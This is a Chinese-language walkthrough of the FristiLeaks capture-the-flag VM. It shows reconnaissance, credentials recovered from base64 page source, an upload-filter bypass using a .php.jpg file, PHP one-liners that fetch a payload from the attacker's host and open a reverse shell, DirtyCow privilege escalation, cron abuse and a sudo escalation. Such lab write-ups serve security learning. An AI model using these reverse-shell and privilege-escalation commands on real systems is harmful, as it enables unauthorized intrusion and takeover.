1.该靶机安装好后自动提示了IP地址,所以直接探测存活的端口就行,发现与以往不一样的是它只开放了80端口,nmap同时也扫出来cola/sisi/beer三个目录。
2.进入80端web页面,登录到cola/sisi/beer发现图片提示主要观察发现,于是在原来的页面发现了fristi是个登录页面。
3.进入fristi登录页面查看源码,发现用户名和base64将base64解密并转换为图片形式发现密码
4.登录后是一个上传页面,并且中间件是apache的2.2版本,可能存在多后缀名解析漏洞,于是文件上传然后抓包添加后缀jpg,发现可绕过,用php反shell然后配合脏牛提权即可拿下靶机
5.当然,为了学多点东西,我还尝试了另外一种提权的方法。
按照作者提示要求设置虚拟机的MAC地址 08:00:27:A5:A6:76
靶机的IP这次也显示出来了
Nmap -A 192.168.0.121
发现靶机只开放了80端口,Apache服务器版本是2.2.15,并且探测出三个目录:/cola、/sisi、/beer
于是利用探测出来的目录一探究竟但发现都是一张图片,也没有什么可以突破,但从图片上的提示说,这不是一个url连接,你还需要去寻找,或许在本页面就有提示
于是在80端的页面下发现了/fristi/这个目录,于是登录进去
登录进去后发现被嘲笑了,但页面提示了一个admin、于是尝试弱口令和万能密码登录,发现登录失败,事情并没有那么简单
查看页面源代码发现了提示
by eezeepz(可能是用户名
We use base64 encoding for images so they are inline in the HTML. I read somewhere on the web, that thats a good way to do it
(提示:我们对图像使用base64编码,因此它们在HTML中是内联的)
并且在下方发现base64
于是我先把绿色字的base64先复制到kali的root目录下一个文本
解密发现是个png文件,于是转换成图片查看发现是一串字母
很可能这一串字母是密码,结合之前发现的用户名,猜测账号密码组合应该是这样
用户名:eezeepz
密码:keKkeKKeKKeKkEkkEk
不知道为什么,我的靶机突然宕机了,我也觉得很奇怪,只能重启一下,ip变成了192.168.0.122
赶紧用账号密码登录。
登录成功后发现是个文件上传页面
利用写好的一句话马子上传,但发现限制了上传的格式
结合apache 2.x版本的多后缀名解析漏洞绕过上传
提示了已经成功上传到uploads文件目录下
http://192.168.0.122/fristi/uploads/feng.php.jpg连接菜刀,成功
有了上一个靶机的经验,所以这次上传的图片名字都为shell192.168.0.99是我kali的IP
<?php system("wget 192.168.0.99/shell.txt -O /tmp/shell.php; php /tmp/shell.php");?>
<?php $sock=fsockopen("192.168.0.99",1234);exec("/bin/sh -i <&3 >&3 2>&3");?>
apache的/etc/init.d/apache2 start
python -m SimpleHTTPServer 80
同时kali开启nc监听
然后把准备好的shell.php文件上传burp抓包添加后缀jpg
然后访问http://192.168.0.122/fristi/uploads/shell.php.jpg,kali端即可接收shell
然后python交互tty,脚本为python -c ‘import pty;pty.spawn("/bin/bash")’,
尝试脏牛提权:
Exp下载https://github.com/FireFart/dirtycow
下载好之后把dirty.c拉到kali的root文件夹下
因为我的轻型服务器还没断开,而且是靶机的一个低级权限,所以要在靶机上下载这个dirty.c文件wget http://192.168.0.99/dirty.c -O /tmp/dirty.c
当然,因为是下载到tmp目录下的,所以要切换到tmp目录才能进行编译
好了之后可以进行gcc -pthread dirty.c -o exp -lcrypt(编译命令
./exp feng (使用exp,后面的feng是密码,你喜欢也可以换其他)
此时超级管理员用户已经是更改成firefart了,只需要切换即可
Ok了,最高权限,可以为所欲为了。拿flag
反shell之后,kali得到控制权,然后cd到home目录下查看,发现有三个用户
切换到admin,发现没有权限,但可以cd 到eezeepz
Ls- la发现一个txt文件
翻译大意
我让你可以做一些自动检查,但是我只允许您访问/usr/bin/*系统二进制文件。我所做的然而,复
制一些额外的经常需要的命令到我chmod, df, cat, echo, ps, grep, egrep,你可以使用它们
从/home/admin/不要忘记为每个二进制文件指定完整的路径!只需在/tmp/中放入一个名为
“runthis”的文件,每行一个命令。的输出到/tmp/中的文件“cronresult”。它应该用我的帐户特
权运行每一分钟。
意思就是要执行如下命令
echo '/usr/bin/../../bin/chmod -R 777 /home/admin' > /tmp/runthis
然后cat /tmp/cronresult
查看当前目录,然后就可以切换到admin目录了
Ls -la后cat查看到两个base64码
=RFn0AKnlMHMPIzpyuTI0ITG
mVGZ3O3omkJLmy2pcuTq
import base64,codecs,sys
def encodeString(str):
base64string= base64.b64encode(str)
return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
我们尝试逆转这种完全安全的加密机制,脚本如下
import base64,codecs,sys
def decodeString(str):
rot13string = codecs.decode(str[::-1], 'rot13')
return base64.b64decode(rot13string)
print decodeString(sys.argv[1])
LetThereBeFristi!
thisisalsopw123
根据前面所得资料,用户名为admin eezeepz fristigod
密码提示也很明显了Let There Be Fristi!
所以直接尝试这个组合fristigod LetThereBeFristi!
但登录后发现并不是root权限,查看一下使用命令的记录直接history就可以了
发现都在用sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
这条命令去执行一些东西,但摸索了很久还是不懂怎么提权。后来看到了大佬们的做法,就是这条命令后加上/bin/bash
就能提权了